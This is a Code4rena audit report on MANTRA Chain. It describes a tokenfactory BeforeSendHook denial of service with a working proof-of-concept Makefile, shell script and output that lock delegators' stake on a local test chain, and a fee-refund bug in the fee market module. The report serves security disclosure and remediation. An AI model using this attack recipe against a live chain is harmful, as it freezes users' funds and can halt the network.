MANTRA Chain
Findings & Analysis Report

2025-03-31

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the MANTRA Chain. The audit took place from November 29, 2024 to January 06, 2025.

This audit was judged by 3docSec.

Final report assembled by Code4rena.

Summary

The C4 analysis yielded an aggregated total of 8 unique vulnerabilities. Of these vulnerabilities, 4 received a risk rating in the category of HIGH severity and 4 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 5 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 MANTRA Chain repository, and includes 42,898 lines of code written in the Go programming language.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

  • Malicious Input Handling
  • Escalation of privileges
  • Arithmetic
  • Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (4)

[H-01] BlockBeforeSend hook can be exploited to perform a denial of service

Submitted by OakSecurity, also found by gxh191, p0wd3r, and Egis_Security

Finding description and impact

The MsgSetBeforeSendHook in the tokenfactory module allows the token creator to set a BeforeSendHook tied to a CosmWasm contract address, which implements a custom logic from the Sudo handler that determines whether the transfer should succeed.

The issue is that a malicious token creator can force transfers to fail by simply setting the contract address to an invalid address (e.g., an externally owned account). If these tokens are intended to be transferred during important operations (e.g., staking hooks or ABCI phases), they will fail, and depending on the calling context, a denial of service issue may occur.

We have identified two impacts that can be triggered by the attacker.

  1. The attacker can force delegators’ staked funds and rewards to be stuck and cannot be withdrawn. This scenario is demonstrated in the POC section below.

    1. The attacker creates a tokenfactory denom.
    2. The attacker mints some tokens for themselves.
    3. The attacker sends the minted tokens to a validator with MsgDepositValidatorRewardsPool. This will cause the validator and delegators’ pending rewards to include the tokens.
    4. The attacker calls MsgSetBeforeSendHook and sets the hook address to an invalid address.
    5. At this point, all staking actions will now fail. Delegators cannot unbond their tokens and cannot withdraw their rewards, causing their bonded funds to be stuck.
    6. The logic behind this is that all staking actions must call the BeforeDelegationSharesModified hook to distribute the pending rewards before updating the bonded amount in order to compute the rewards correctly. However, since the rewards cannot be transferred due to the malicious hook, the BeforeDelegationSharesModified hook will fail, preventing the staking actions from succeeding.

  2. The attacker can trigger a chain halt by performing a redelegation from a misbehaved validator. This attack is similar to the above, weaponizing the impact of BeforeDelegationSharesModified hook failure but achieving a higher impact by forcefully causing the BeginBlocker to panic, ultimately halting the chain.

    1. The attacker creates a tokenfactory denom.
    2. The attacker mints some tokens for themselves.
    3. The attacker sends the minted tokens to a validator with MsgDepositValidatorRewardsPool. This will cause the validator and delegators’ pending rewards to include the tokens.
    4. The validator misbehaves (e.g., downtime/double-signing) and will be slashed in the next few blocks.
    5. One of the delegators performs a redelegation with MsgBeginRedelegate and redelegates their tokens to other validators. This is considered a normal action when delegators prefer to bond their tokens to other validators. https://github.com/MANTRA-Chain/cosmos-sdk/blob/cfc36838ae32a2772d86bafa0cb192125f0ffbaf/x/staking/keeper/msg_server.go#L316
    6. The attacker calls MsgSetBeforeSendHook and sets the hook address to an invalid address.

    7. The automatic slashing mechanism will be initiated from the BeginBlocker to slash the validator for a percentage amount of bonded funds (recall that they misbehaved previously).

    8. The slashing mechanism will also slash the delegator who redelegated their funds to another validator. This is intended because the delegation contributed to the validator’s bonded tokens when they misbehaved. https://github.com/MANTRA-Chain/cosmos-sdk/blob/cfc36838ae32a2772d86bafa0cb192125f0ffbaf/x/staking/keeper/slash.go#L130-L141

    9. Slashing redelegations works by forcefully unbond some tokens from the destination validator. However, since the Unbond function calls the BeforeDelegationSharesModified hook and the reward tokens cannot be transferred, an error will be returned and propagated back to the BeginBlocker. This triggers a chain halt when the ABCI receives an error from the chain, causing a denial of service.

      The flow works as BeginBlock -> x/evidence, x/slashing BeginBlocker -> handleEquivocationEvidence/HandleValidatorSignature -> SlashWithInfractionReason -> Slash -> SlashRedelegation -> Unbond -> BeforeDelegationSharesModified -> withdrawDelegationRewards -> error.

Proof of Concept

The following proof of concept demonstrates the first impact identified above, where bonded tokens and rewards cannot be withdrawn.

  1. Add the following contents to Makefile.

    poc: build
	@echo "starting POC.."

	# clear port 26657 if old process still running
	@if lsof -i :26657; then \
		kill -9 $$(lsof -t -i :26657) || echo "cannot kill process"; \
	fi

	# remove old setup and init new one
	@rm -rf .mantrapoc
	@mkdir -p .mantrapoc

	./build/mantrachaind init poc-test --chain-id test-chain --home .mantrapoc
	./build/mantrachaind keys add validator --keyring-backend test --home .mantrapoc
	./build/mantrachaind keys add validator2 --keyring-backend test --home .mantrapoc

	# create alice and bob account
	./build/mantrachaind keys add alice --keyring-backend test --home .mantrapoc
	./build/mantrachaind keys add bob --keyring-backend test --home .mantrapoc
	./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show validator -a --keyring-backend test --home .mantrapoc) 500000000000stake --home .mantrapoc
	./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show validator2 -a --keyring-backend test --home .mantrapoc) 500000000000stake --home .mantrapoc
	./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show alice -a --keyring-backend test --home .mantrapoc) 500000000000stake --home .mantrapoc
	./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show bob -a --keyring-backend test --home .mantrapoc) 500000000000stake --home .mantrapoc

	./build/mantrachaind genesis gentx validator 100000000stake --chain-id test-chain --keyring-backend test --home .mantrapoc
	# ./build/mantrachaind genesis gentx validator2 100000000stake --chain-id test-chain --keyring-backend test --home .mantrapoc
	
	./build/mantrachaind genesis collect-gentxs --home .mantrapoc

	# start node
	./build/mantrachaind start --home .mantrapoc --minimum-gas-prices 0stake

  2. Create the poc.sh file.

    export ALICE=`mantrachaind keys show alice --keyring-backend test --home .mantrapoc -a`
export BOB=`mantrachaind keys show bob --keyring-backend test --home .mantrapoc -a`
export VAL_BECH32=`mantrachaind keys show validator --keyring-backend test --home .mantrapoc -a`
# export VAL2_BECH32=`mantrachaind keys show validator2 --keyring-backend test --home .mantrapoc -a`
export VAL=$(mantrachaind q staking validators --output json | jq -r '.validators[0].operator_address')

echo "alice create x/tokenfactory denom"
mantrachaind tx tokenfactory create-denom foo --from alice --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto 

sleep 2

export DENOM=`echo "factory/$ALICE/foo"`

echo "alice mint some tokens"
mantrachaind tx tokenfactory mint 10000$DENOM --from alice --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto 

sleep 2

# double check tokens minted
mantrachaind q bank balance $ALICE $DENOM

echo "bob delegate funds to validator"
mantrachaind tx staking delegate $VAL 100000000stake --from bob --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto

sleep 2

# double check delegation succeeded
mantrachaind q staking delegation $BOB $VAL

echo "alice fund the minted tokens to validator rewards pool"
mantrachaind tx distribution fund-validator-rewards-pool $VAL 10000$DENOM --from alice --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto

sleep 2

echo "alice sets before send hook to dummy address, forcing all transfers to fail"
mantrachaind tx tokenfactory set-before-send-hook $DENOM $ALICE --from alice --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto

sleep 2

echo "Wait some time for injected rewards to accrue for delegators"

echo "validator rewards:"
mantrachaind q distribution rewards $VAL_BECH32

echo "delegator rewards:"
mantrachaind q distribution rewards $BOB

# validators and delegators should be able to claim rewards, however it fails due to BlockBeforeSend hook
# rpc error: code = Unknown desc = rpc error: code = Unknown desc = failed to execute message; message index: 0: failed to call before send hook for denom factory/mantra1k3uf5anqxefvuck455jgzasaagwpkt5483zv4m/foo: address mantra1k3uf5anqxefvuck455jgzasaagwpkt5483zv4m: no such contract [CosmWasm/wasmd@v0.53.0/x/wasm/types/errors.go:156] with gas used: '135697': unknown request

echo "=========================================================="
echo "        validator tries to withdraw rewards"
echo "=========================================================="

mantrachaind tx distribution withdraw-all-rewards --from validator --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto

sleep 2

echo "=========================================================="
echo "        delegator tries to withdraw rewards"
echo "=========================================================="

mantrachaind tx distribution withdraw-all-rewards --from bob --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto

sleep 2

echo "=========================================================="
echo "        delegator tries to delegate more tokens"
echo "=========================================================="

mantrachaind tx staking delegate $VAL 10stake --from bob --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto

sleep 2

echo "=========================================================="
echo "        delegator tries to unbond"
echo "=========================================================="

mantrachaind tx staking unbond $VAL 10stake --from bob --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto

sleep 2

echo "=========================================================="
echo "        delegator tries to redelegate"
echo "=========================================================="

echo '{"pubkey": {"@type":"/cosmos.crypto.ed25519.PubKey","key":"oWg2ISpLF405Jcm2vXV+2v4fnjodh6aafuIdeoW+rUw="},"amount": "1000000stake","moniker": "myvalidator","identity": "optional identity signature (ex. UPort or Keybase)","website": "validator'\''s (optional) website","security": "validator'\''s (optional) security contact email","details": "validator'\''s (optional) details","commission-rate": "0.1","commission-max-rate": "0.2","commission-max-change-rate": "0.01","min-self-delegation": "1"}' > validator.json

TX_RESPONSE=$(mantrachaind tx staking create-validator ./validator.json --from validator2 --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto --output json)

sleep 2

# echo $TX_RESPONSE

TX_HASH=$(echo "$TX_RESPONSE" | jq -r '.txhash')

# echo $TX_HASH

# parse validator address
VAL2=$(mantrachaind q tx $TX_HASH --output json | jq -r '.events[] | select(.type=="create_validator") | .attributes[] | select(.key=="validator") | .value')



mantrachaind tx staking redelegate $VAL $VAL2 10stake --from bob --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto

sleep 2

# a chain halt could occur if the validator is slashed while having a redelegation, as the error is returned back to ABCI
# BeginBlock -> x/evidence, x/slashing BeginBlocker -> handleEquivocationEvidence/HandleValidatorSignature -> SlashWithInfractionReason -> Slash -> SlashRedelegation -> Unbond -> BeforeDelegationSharesModified -> withdrawDelegationRewards -> error

  3. Open a shell instance and run the following command.

    make poc

  4. In another shell instance, run the following command:

    chmod +x poc.sh
./poc.sh

  5. Observe the output where staking actions fails.

    alice create x/tokenfactory denom
gas estimate: 155494
code: 0
codespace: ""
data: ""
events: []
gas_used: "0"
gas_wanted: "0"
height: "0"
info: ""
logs: []
raw_log: ""
timestamp: ""
tx: null
txhash: 803FFBA576135F329AB7D61CB84636B544A89C5BEEED8A777C86534217D20511
alice mint some tokens
gas estimate: 260500
code: 0
codespace: ""
data: ""
events: []
gas_used: "0"
gas_wanted: "0"
height: "0"
info: ""
logs: []
raw_log: ""
timestamp: ""
tx: null
txhash: F2746BE8EC59FAFBC5A2E8AFF1538200988F479B6B213CC959FA213BC61C81BC
balance:
  amount: "10000"
  denom: factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo
bob delegate funds to validator
gas estimate: 196518
code: 0
codespace: ""
data: ""
events: []
gas_used: "0"
gas_wanted: "0"
height: "0"
info: ""
logs: []
raw_log: ""
timestamp: ""
tx: null
txhash: 78B32508B698DC344268F737349A582FB3BB5D206A10BAA3E30536844AFBE4F5
delegation_response:
  balance:
    amount: "100000000"
    denom: stake
  delegation:
    delegator_address: mantra1stkh5gpmqr4v7ajf8kpc4wxplaadlf6nw32deq
    shares: "100000000000000000000000000"
    validator_address: mantravaloper1l4ha0zehlm3ade8330409wzchcp3jqgkyweqev
alice fund the minted tokens to validator rewards pool
gas estimate: 147609
code: 0
codespace: ""
data: ""
events: []
gas_used: "0"
gas_wanted: "0"
height: "0"
info: ""
logs: []
raw_log: ""
timestamp: ""
tx: null
txhash: 95B7C05BD63DF596AD72975551E3E1780681B77F71C9B903E018FDAFED090A2E
alice sets before send hook to dummy address, forcing all transfers to fail
gas estimate: 111630
code: 0
codespace: ""
data: ""
events: []
gas_used: "0"
gas_wanted: "0"
height: "0"
info: ""
logs: []
raw_log: ""
timestamp: ""
tx: null
txhash: 605D69A91B5BCADBCB649FD8F4CF12D870FDA75C4D9807927C20582ACBD77D64
Wait some time for injected rewards to accrue for delegators
validator rewards:
rewards:
- reward:
  - 4500.000000000000000000factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo
  - 697611.726000000000000000stake
  validator_address: mantravaloper1l4ha0zehlm3ade8330409wzchcp3jqgkyweqev
total:
- 4500.000000000000000000factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo
- 697611.726000000000000000stake
delegator rewards:
rewards:
- reward:
  - 4500.000000000000000000factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo
  - 21800.394000000000000000stake
  validator_address: mantravaloper1l4ha0zehlm3ade8330409wzchcp3jqgkyweqev
total:
- 4500.000000000000000000factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo
- 21800.394000000000000000stake
==========================================================
        validator tries to withdraw rewards
==========================================================
Usage:
  mantrachaind tx distribution withdraw-all-rewards [flags]

Flags:
  -a, --account-number uint      The account number of the signing account (offline mode only)
      --aux                      Generate aux signer data instead of sending a tx
  -b, --broadcast-mode string    Transaction broadcasting mode (sync|async) (default "sync")
      --chain-id string          The network chain ID
      --dry-run                  ignore the --gas flag and perform a simulation of a transaction, but don't broadcast it (when enabled, the local Keybase is not accessible)
      --fee-granter string       Fee granter grants fees for the transaction
      --fee-payer string         Fee payer pays fees for the transaction instead of deducting from the signer
      --fees string              Fees to pay along with transaction; eg: 10uatom
      --from string              Name or address of private key with which to sign
      --gas string               gas limit to set per-transaction; set to "auto" to calculate sufficient gas automatically. Note: "auto" option doesn't always report accurate results. Set a valid coin value to adjust the result. Can be used instead of "fees". (default 200000)
      --gas-adjustment float     adjustment factor to be multiplied against the estimate returned by the tx simulation; if the gas limit is set manually this flag is ignored  (default 1)
      --gas-prices string        Gas prices in decimal format to determine the transaction fee (e.g. 0.1uatom)
      --generate-only            Build an unsigned transaction and write it to STDOUT (when enabled, the local Keybase only accessed when providing a key name)
  -h, --help                     help for withdraw-all-rewards
      --keyring-backend string   Select keyring's backend (os|file|kwallet|pass|test|memory) (default "os")
      --keyring-dir string       The client Keyring directory; if omitted, the default 'home' directory will be used
      --ledger                   Use a connected Ledger device
      --max-msgs int             Limit the number of messages per tx (0 for unlimited)
      --node string              <host>:<port> to CometBFT rpc interface for this chain (default "tcp://localhost:26657")
      --note string              Note to add a description to the transaction (previously --memo)
      --offline                  Offline mode (does not allow any online functionality)
  -o, --output string            Output format (text|json) (default "json")
  -s, --sequence uint            The sequence number of the signing account (offline mode only)
      --sign-mode string         Choose sign mode (direct|amino-json|direct-aux|textual), this is an advanced feature
      --timeout-height uint      Set a block timeout height to prevent the tx from being committed past a certain height
      --tip string               Tip is the amount that is going to be transferred to the fee payer on the target chain. This flag is only valid when used with --aux, and is ignored if the target chain didn't enable the TipDecorator
  -y, --yes                      Skip tx broadcasting prompt confirmation

Global Flags:
      --home string         directory for config and data (default "/Users/suyu/.mantrachain")
      --log_format string   The logging format (json|plain) (default "plain")
      --log_level string    The logging level (trace|debug|info|warn|error|fatal|panic|disabled or '*:<level>,<key>:<level>') (default "info")
      --log_no_color        Disable colored logs
      --trace               print out full stack trace on errors

rpc error: code = Unknown desc = rpc error: code = Unknown desc = failed to execute message; message index: 0: failed to call before send hook for denom factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo: address mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0: no such contract [CosmWasm/wasmd@v0.53.0/x/wasm/types/errors.go:156] with gas used: '133333': unknown request
==========================================================
        delegator tries to withdraw rewards
==========================================================
Usage:
  mantrachaind tx distribution withdraw-all-rewards [flags]

Flags:
  -a, --account-number uint      The account number of the signing account (offline mode only)
      --aux                      Generate aux signer data instead of sending a tx
  -b, --broadcast-mode string    Transaction broadcasting mode (sync|async) (default "sync")
      --chain-id string          The network chain ID
      --dry-run                  ignore the --gas flag and perform a simulation of a transaction, but don't broadcast it (when enabled, the local Keybase is not accessible)
      --fee-granter string       Fee granter grants fees for the transaction
      --fee-payer string         Fee payer pays fees for the transaction instead of deducting from the signer
      --fees string              Fees to pay along with transaction; eg: 10uatom
      --from string              Name or address of private key with which to sign
      --gas string               gas limit to set per-transaction; set to "auto" to calculate sufficient gas automatically. Note: "auto" option doesn't always report accurate results. Set a valid coin value to adjust the result. Can be used instead of "fees". (default 200000)
      --gas-adjustment float     adjustment factor to be multiplied against the estimate returned by the tx simulation; if the gas limit is set manually this flag is ignored  (default 1)
      --gas-prices string        Gas prices in decimal format to determine the transaction fee (e.g. 0.1uatom)
      --generate-only            Build an unsigned transaction and write it to STDOUT (when enabled, the local Keybase only accessed when providing a key name)
  -h, --help                     help for withdraw-all-rewards
      --keyring-backend string   Select keyring's backend (os|file|kwallet|pass|test|memory) (default "os")
      --keyring-dir string       The client Keyring directory; if omitted, the default 'home' directory will be used
      --ledger                   Use a connected Ledger device
      --max-msgs int             Limit the number of messages per tx (0 for unlimited)
      --node string              <host>:<port> to CometBFT rpc interface for this chain (default "tcp://localhost:26657")
      --note string              Note to add a description to the transaction (previously --memo)
      --offline                  Offline mode (does not allow any online functionality)
  -o, --output string            Output format (text|json) (default "json")
  -s, --sequence uint            The sequence number of the signing account (offline mode only)
      --sign-mode string         Choose sign mode (direct|amino-json|direct-aux|textual), this is an advanced feature
      --timeout-height uint      Set a block timeout height to prevent the tx from being committed past a certain height
      --tip string               Tip is the amount that is going to be transferred to the fee payer on the target chain. This flag is only valid when used with --aux, and is ignored if the target chain didn't enable the TipDecorator
  -y, --yes                      Skip tx broadcasting prompt confirmation

Global Flags:
      --home string         directory for config and data (default "/Users/suyu/.mantrachain")
      --log_format string   The logging format (json|plain) (default "plain")
      --log_level string    The logging level (trace|debug|info|warn|error|fatal|panic|disabled or '*:<level>,<key>:<level>') (default "info")
      --log_no_color        Disable colored logs
      --trace               print out full stack trace on errors

rpc error: code = Unknown desc = rpc error: code = Unknown desc = failed to execute message; message index: 0: failed to call before send hook for denom factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo: address mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0: no such contract [CosmWasm/wasmd@v0.53.0/x/wasm/types/errors.go:156] with gas used: '133528': unknown request
==========================================================
        delegator tries to delegate more tokens
==========================================================
Usage:
  mantrachaind tx staking delegate [validator-addr] [amount] [flags]

Flags:
  -a, --account-number uint      The account number of the signing account (offline mode only)
      --aux                      Generate aux signer data instead of sending a tx
  -b, --broadcast-mode string    Transaction broadcasting mode (sync|async) (default "sync")
      --chain-id string          The network chain ID
      --dry-run                  ignore the --gas flag and perform a simulation of a transaction, but don't broadcast it (when enabled, the local Keybase is not accessible)
      --fee-granter string       Fee granter grants fees for the transaction
      --fee-payer string         Fee payer pays fees for the transaction instead of deducting from the signer
      --fees string              Fees to pay along with transaction; eg: 10uatom
      --from string              Name or address of private key with which to sign
      --gas string               gas limit to set per-transaction; set to "auto" to calculate sufficient gas automatically. Note: "auto" option doesn't always report accurate results. Set a valid coin value to adjust the result. Can be used instead of "fees". (default 200000)
      --gas-adjustment float     adjustment factor to be multiplied against the estimate returned by the tx simulation; if the gas limit is set manually this flag is ignored  (default 1)
      --gas-prices string        Gas prices in decimal format to determine the transaction fee (e.g. 0.1uatom)
      --generate-only            Build an unsigned transaction and write it to STDOUT (when enabled, the local Keybase only accessed when providing a key name)
  -h, --help                     help for delegate
      --keyring-backend string   Select keyring's backend (os|file|kwallet|pass|test|memory) (default "os")
      --keyring-dir string       The client Keyring directory; if omitted, the default 'home' directory will be used
      --ledger                   Use a connected Ledger device
      --node string              <host>:<port> to CometBFT rpc interface for this chain (default "tcp://localhost:26657")
      --note string              Note to add a description to the transaction (previously --memo)
      --offline                  Offline mode (does not allow any online functionality)
  -o, --output string            Output format (text|json) (default "json")
  -s, --sequence uint            The sequence number of the signing account (offline mode only)
      --sign-mode string         Choose sign mode (direct|amino-json|direct-aux|textual), this is an advanced feature
      --timeout-height uint      Set a block timeout height to prevent the tx from being committed past a certain height
      --tip string               Tip is the amount that is going to be transferred to the fee payer on the target chain. This flag is only valid when used with --aux, and is ignored if the target chain didn't enable the TipDecorator
  -y, --yes                      Skip tx broadcasting prompt confirmation

Global Flags:
      --home string         directory for config and data (default "/Users/suyu/.mantrachain")
      --log_format string   The logging format (json|plain) (default "plain")
      --log_level string    The logging level (trace|debug|info|warn|error|fatal|panic|disabled or '*:<level>,<key>:<level>') (default "info")
      --log_no_color        Disable colored logs
      --trace               print out full stack trace on errors

rpc error: code = Unknown desc = rpc error: code = Unknown desc = failed to execute message; message index: 0: failed to call before send hook for denom factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo: address mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0: no such contract [CosmWasm/wasmd@v0.53.0/x/wasm/types/errors.go:156] with gas used: '137889': unknown request
==========================================================
        delegator tries to unbond
==========================================================
Usage:
  mantrachaind tx staking unbond [validator-addr] [amount] [flags]

Flags:
  -a, --account-number uint      The account number of the signing account (offline mode only)
      --aux                      Generate aux signer data instead of sending a tx
  -b, --broadcast-mode string    Transaction broadcasting mode (sync|async) (default "sync")
      --chain-id string          The network chain ID
      --dry-run                  ignore the --gas flag and perform a simulation of a transaction, but don't broadcast it (when enabled, the local Keybase is not accessible)
      --fee-granter string       Fee granter grants fees for the transaction
      --fee-payer string         Fee payer pays fees for the transaction instead of deducting from the signer
      --fees string              Fees to pay along with transaction; eg: 10uatom
      --from string              Name or address of private key with which to sign
      --gas string               gas limit to set per-transaction; set to "auto" to calculate sufficient gas automatically. Note: "auto" option doesn't always report accurate results. Set a valid coin value to adjust the result. Can be used instead of "fees". (default 200000)
      --gas-adjustment float     adjustment factor to be multiplied against the estimate returned by the tx simulation; if the gas limit is set manually this flag is ignored  (default 1)
      --gas-prices string        Gas prices in decimal format to determine the transaction fee (e.g. 0.1uatom)
      --generate-only            Build an unsigned transaction and write it to STDOUT (when enabled, the local Keybase only accessed when providing a key name)
  -h, --help                     help for unbond
      --keyring-backend string   Select keyring's backend (os|file|kwallet|pass|test|memory) (default "os")
      --keyring-dir string       The client Keyring directory; if omitted, the default 'home' directory will be used
      --ledger                   Use a connected Ledger device
      --node string              <host>:<port> to CometBFT rpc interface for this chain (default "tcp://localhost:26657")
      --note string              Note to add a description to the transaction (previously --memo)
      --offline                  Offline mode (does not allow any online functionality)
  -o, --output string            Output format (text|json) (default "json")
  -s, --sequence uint            The sequence number of the signing account (offline mode only)
      --sign-mode string         Choose sign mode (direct|amino-json|direct-aux|textual), this is an advanced feature
      --timeout-height uint      Set a block timeout height to prevent the tx from being committed past a certain height
      --tip string               Tip is the amount that is going to be transferred to the fee payer on the target chain. This flag is only valid when used with --aux, and is ignored if the target chain didn't enable the TipDecorator
  -y, --yes                      Skip tx broadcasting prompt confirmation

Global Flags:
      --home string         directory for config and data (default "/Users/suyu/.mantrachain")
      --log_format string   The logging format (json|plain) (default "plain")
      --log_level string    The logging level (trace|debug|info|warn|error|fatal|panic|disabled or '*:<level>,<key>:<level>') (default "info")
      --log_no_color        Disable colored logs
      --trace               print out full stack trace on errors

rpc error: code = Unknown desc = rpc error: code = Unknown desc = failed to execute message; message index: 0: failed to call before send hook for denom factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo: address mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0: no such contract [CosmWasm/wasmd@v0.53.0/x/wasm/types/errors.go:156] with gas used: '143472': unknown request
==========================================================
        delegator tries to redelegate
==========================================================
gas estimate: 251666
Usage:
  mantrachaind tx staking redelegate [src-validator-addr] [dst-validator-addr] [amount] [flags]

Flags:
  -a, --account-number uint      The account number of the signing account (offline mode only)
      --aux                      Generate aux signer data instead of sending a tx
  -b, --broadcast-mode string    Transaction broadcasting mode (sync|async) (default "sync")
      --chain-id string          The network chain ID
      --dry-run                  ignore the --gas flag and perform a simulation of a transaction, but don't broadcast it (when enabled, the local Keybase is not accessible)
      --fee-granter string       Fee granter grants fees for the transaction
      --fee-payer string         Fee payer pays fees for the transaction instead of deducting from the signer
      --fees string              Fees to pay along with transaction; eg: 10uatom
      --from string              Name or address of private key with which to sign
      --gas string               gas limit to set per-transaction; set to "auto" to calculate sufficient gas automatically. Note: "auto" option doesn't always report accurate results. Set a valid coin value to adjust the result. Can be used instead of "fees". (default 200000)
      --gas-adjustment float     adjustment factor to be multiplied against the estimate returned by the tx simulation; if the gas limit is set manually this flag is ignored  (default 1)
      --gas-prices string        Gas prices in decimal format to determine the transaction fee (e.g. 0.1uatom)
      --generate-only            Build an unsigned transaction and write it to STDOUT (when enabled, the local Keybase only accessed when providing a key name)
  -h, --help                     help for redelegate
      --keyring-backend string   Select keyring's backend (os|file|kwallet|pass|test|memory) (default "os")
      --keyring-dir string       The client Keyring directory; if omitted, the default 'home' directory will be used
      --ledger                   Use a connected Ledger device
      --node string              <host>:<port> to CometBFT rpc interface for this chain (default "tcp://localhost:26657")
      --note string              Note to add a description to the transaction (previously --memo)
      --offline                  Offline mode (does not allow any online functionality)
  -o, --output string            Output format (text|json) (default "json")
  -s, --sequence uint            The sequence number of the signing account (offline mode only)
      --sign-mode string         Choose sign mode (direct|amino-json|direct-aux|textual), this is an advanced feature
      --timeout-height uint      Set a block timeout height to prevent the tx from being committed past a certain height
      --tip string               Tip is the amount that is going to be transferred to the fee payer on the target chain. This flag is only valid when used with --aux, and is ignored if the target chain didn't enable the TipDecorator
  -y, --yes                      Skip tx broadcasting prompt confirmation

Global Flags:
      --home string         directory for config and data (default "/Users/suyu/.mantrachain")
      --log_format string   The logging format (json|plain) (default "plain")
      --log_level string    The logging level (trace|debug|info|warn|error|fatal|panic|disabled or '*:<level>,<key>:<level>') (default "info")
      --log_no_color        Disable colored logs
      --trace               print out full stack trace on errors

rpc error: code = Unknown desc = rpc error: code = Unknown desc = failed to execute message; message index: 0: failed to call before send hook for denom factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo: address mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0: no such contract [CosmWasm/wasmd@v0.53.0/x/wasm/types/errors.go:156] with gas used: '145425': unknown request

Consider introducing a whitelist or access control mechanism to limit who can register a BeforeSendHook. Ensure only trusted users with appropriate permissions should be allowed to set a hook for a specific denomination.

For example, Neutron only allows whitelisted users to use this feature: https://github.com/neutron-org/neutron/blob/5ff5272e0a920b6874036db292a0c8debba99102/x/tokenfactory/keeper/msg_server.go#L253

Note: this finding was redacted upon submission and was populated by C4 staff to proceed through the audit process.

3docSec (judge) commented:

Looks valid.

Lance Lan (MANTRA) disputed and commented:

This vulnerability is valid overall; however, most of the submissions about the vector of attack are not valid/possible.

S-124 is the one that is most serious and valid. It has been addressed with mainnet proposals to block related messages from being executed instead of a code change.

We may decide to fix it in the future, but for now we will leave it as it is.

[H-02] Unspent gas fees are always refunded to the FeePayer() which leads to incorrect refunds if the FeeGranter() paid for the fees

Submitted by berndartmueller, also found by ABAIKUNANBAEV, abdulsamijay, Bauchibred, Egis_Security, and OakSecurity

Finding description and impact

FeeMarketDeductDecorator.PostHandle() is called after the transaction is executed to refund the paid but unspent gas.

The issue is that the refund is always sent to the FeePayer(), which is not the address that paid for the gas if a fee granter (FeeGranter()) paid for the tx fees instead.

In this case, the fee granter will not receive the refund, the fee payer (i.e., the sender) will receive the refund instead. This would slowly drain the fee granter’s account if they are paying for tx fees on behalf of others. Or, if the fee granter assumes to receive the refund, only paying the actual consumed gas fees, and thus only charging the user for the consumed gas fees (afterwards, settled off-chain, e.g., via credit card), they would make a loss.

Proof of Concept

x/xfeemarket/post/fee.go#L123-L127

The feePayer is passed to BurnFeeAndRefund().

123: feePayer := feeTx.FeePayer()
124:
125: if err := dfd.BurnFeeAndRefund(ctx, payCoin, tip, feePayer, params.FeeDenom); err != nil {
126: 	return ctx, err
127: }

x/xfeemarket/post/fee.go#L164-L176

BurnFeeAndRefund() subsequently refunds the tip to the feePayer via SendCoinsFromModuleToAccount().

148: func (dfd FeeMarketDeductDecorator) BurnFeeAndRefund(ctx sdk.Context, fee, tip sdk.Coin, feePayer sdk.AccAddress, defaultFeeDenom string) error {
...   // [...]
163:
164: 	// refund the tip if it is not nil and non zero
165: 	if !tip.IsNil() && !tip.IsZero() {
166: 		err := RefundTip(dfd.bankKeeper, ctx, feePayer, sdk.NewCoins(tip))
167: 		if err != nil {
168: 			return err
169: 		}
170:
171: 		events = append(events, sdk.NewEvent(
172: 			xfeemarkettypes.EventTypeTipRefund,
173: 			sdk.NewAttribute(feemarkettypes.AttributeKeyTip, tip.String()),
174: 			sdk.NewAttribute(feemarkettypes.AttributeKeyTipPayee, feePayer.String()),
175: 		))
176: 	}
177:
178: 	ctx.EventManager().EmitEvents(events)
179: 	return nil
180: }

Consider determining the actual fee payer, which is either the FeePayer() or the FeeGranter(), and refund the unused gas fees to the correct address.

For example, see Celestia’s solution: https://github.com/rootulp/celestia-app/blob/d10fdbd4e5507f8449747a2388c4657f593b691b/app/posthandler/refund_gas_remaining.go#L133-L138

